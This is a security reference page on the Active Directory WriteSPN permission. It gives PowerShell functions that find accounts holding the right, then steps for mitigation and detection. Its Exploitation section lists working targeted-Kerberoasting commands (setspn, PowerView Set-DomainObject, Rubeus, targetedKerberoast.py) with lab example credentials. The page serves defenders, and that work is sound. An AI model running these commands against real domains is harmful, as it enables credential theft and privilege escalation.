writeSPN
Summary
FSProtect ACL Alias
WriteSPN
AD Alias
Validated write to service principle name
Affected Object Types
Users
Exploitation Certainty
Likely
AD Attribute
Service-Principal-Name
AD Right
WriteProperty
AD Permission Guid
f3a64788-5306-11d1-a9c5-0000f80367c1
Description
The WriteSPN permission allows an account to create, update, or remove Service Principal Names (SPNs) on users objects in Active Directory. SPNs serve as unique Kerberos identifiers that associate network services with their service accounts.
Risk
This enables a targeted Kerberoasting
attack: the adversary requests a service ticket for the controlled SPN, extracts its hash and cracks it offline to escalate privileges.
Identification
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate WriteSPN
entries.
1. Find-WriteSPN Function
function Find-WriteSPN {
[CmdletBinding()]
param( [string]$SearchBase = $null,[string]$OutputPath = "WriteSPN.csv",[string]$Target = $null )
try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "AD module not found."; return }
$Allow = [System.Security.AccessControl.AccessControlType]::Allow;$WriteProp = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty;
# validatedSPN / servicePrincipalName attribute GUID
$SPN_GUID = [guid]'f3a64788-5306-11d1-a9c5-0000f80367c1'
$ldapFilter = if ($Target) { "(& (objectClass=user) (| (distinguishedName=$Target) (sAMAccountName=$Target) ))"} else { "(objectClass=user)" }
$adParams = @{ LDAPFilter = $ldapFilter; ErrorAction = 'Stop' }
if ($SearchBase) { $adParams.SearchBase = $SearchBase }
try { $objs = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return }
if (-not $objs) { Write-Output "No matching user objects."; return }
$out = foreach ($o in $objs) {
try {
foreach ($ace in (Get-Acl -Path "AD:$($o.DistinguishedName)").Access) {
if ($ace.AccessControlType -eq $Allow -and ($ace.ActiveDirectoryRights -band $WriteProp) -and $ace.ObjectType -eq $SPN_GUID -and -not $ace.IsInherited) {
[pscustomobject]@{
ObjectDN = $o.DistinguishedName
PermissionHolder = $ace.IdentityReference.Value
} } } } catch { Write-Warning "ACL read failed for '$($o.DistinguishedName)': $($_.Exception.Message)" }}
if ($out) {
try { $out | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop; "Exported to '$OutputPath'." } catch { Write-Error "CSV export failed: $($_.Exception.Message)" }} else { "No objects found with vulnerable WriteProperty on servicePrincipalName." }
}
2. Scan all domain users
Find-WriteSPN
3. Scan a specific user
Find-WriteSPN -Target _admin
4. Using SearchBase
to limit the searching scope
Find-WriteSPN -SearchBase 'CN=Users,Dc=Forestall,DC=Labs'
.NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteSPN
entries without relying on any external modules or dependencies.
1. Find-WriteSPNSimple function
function Find-WriteSPNSimple {
[CmdletBinding()]
param( [string]$Target, [string]$OutputPath = "WriteSPN.csv")
$spnGuid = [guid]"f3a64788-5306-11d1-a9c5-0000f80367c1"
$allow = [System.Security.AccessControl.AccessControlType]::Allow;$write = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
if ($Target) {
try { $entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") ) } catch { Write-Error "Failed to bind to '$Target': $_"; return } }
else {
try {
$baseDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext; $searchRoot= New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN")
$ds = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
$ds.Filter = "(objectClass=user)";$ds.PageSize = 1000
[void]$ds.PropertiesToLoad.Add("distinguishedName");$hits = $ds.FindAll()
} catch { Write-Error "LDAP enumeration failed: $_"; return }
$entries = foreach ($h in $hits) {try { $h.GetDirectoryEntry() } catch { continue }}}
$rows = foreach ($e in $entries) {
try { $acl = $e.ObjectSecurity;$aces = $acl.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])} catch { continue }
foreach ($ace in $aces) {
if ($ace.AccessControlType -ne $allow) { continue };if (($ace.ActiveDirectoryRights -band $write) -ne $write) { continue };if ($ace.ObjectType -ne $spnGuid) { continue }; if ($ace.IsInherited) { continue }
$who = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
$dn = $e.distinguishedName;
[pscustomobject]@{
ObjectDN = $dn.ToString();
PermissionHolder = $who } }}
if ($rows) { try {$rows | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Host "Exported $($rows.Count) entr$(if($rows.Count -eq 1){'y'}else{'ies'}) to $OutputPath"} catch { Write-Error "CSV export failed: $_" }} else {Write-Host "No explicit WriteProperty('servicePrincipalName') ACEs found."}}
2. Scan all domain users
Find-WriteSPNSimple
3. Scan a specific user
Find-WriteSPNSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"
Microsoft Common Console Document
1. Open adsiedit.msc
on your Windows server.
2. Right-click on the service account name.
3. Select Properties from the context menu.
4. In the Properties window, navigate to the Security tab.
5. Click on the Advanced button to open the Advanced Security Settings dialog.
6. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.
7. Click Edit to modify the selected ACE.
8. In the permissions list, locate and check the option Write servicePrincipalName
9. Click OK to save your changes and close the dialogs.

Exploitation
Windows
An attacker can change Service Principal Name
with this cmdlet on Windows.
setspn -A <service type>/<server FQDN> <targetuser>
Example:
setspn -A http/dumpyhost john

Write Service Principal Name
using powerview
Set-DomainObject -Identity <target> -SET @{serviceprincipalname='<spn>'}
Example:
Set-DomainObject -Identity john -SET @{serviceprincipalname='http/dumpyhost'}

Kerberoasting using Rubeus
.\Rubeus.exe kerberoast /spn:"http/dumpyhost" /nowrap

Linux
Targeted kerberoasting using targetedKerberoast.py
python targetedKerberoast.py -d <domain> -u <user> -p '<password>' --dc-host <dchost> --request-user <targetuser>
Example:
python targetedKerberoast.py -d forestall.labs -u adam -p 'Temp123!' --dc-host FSDC01.forestall.labs --request-user john

Mitigation
Access Control Entries identified as dangerous should be removed by following the steps below.
1. Open adsiedit.msc
on your Windows server.
2. Right-click on the Service user name.
3. Select Properties from the context menu.
4. In the Properties window, navigate to the Security tab.
5. Click on the Advanced button to open the Advanced Security Settings dialog.
6. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.
7. Click Edit to modify the selected ACE.
8. In the permissions list, locate and uncheck the option write to service principal
.
9. Click OK and Apply buttons to save changes.

Detection
Changes to the servicePrincipalName
attribute can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes (Advanced Audit Policy: DS Access → Audit Directory Service Changes) and Audit Directory Service Access (DS Access → Audit Directory Service Access) are enabled on your Domain Controllers. Look for the following events:
5136
A directory service object was modified.
AttributeLDAPDisplayName (should equal servicePrincipalName)
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessMask (e.g., WriteProperty)
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
References
Last updated
Was this helpful?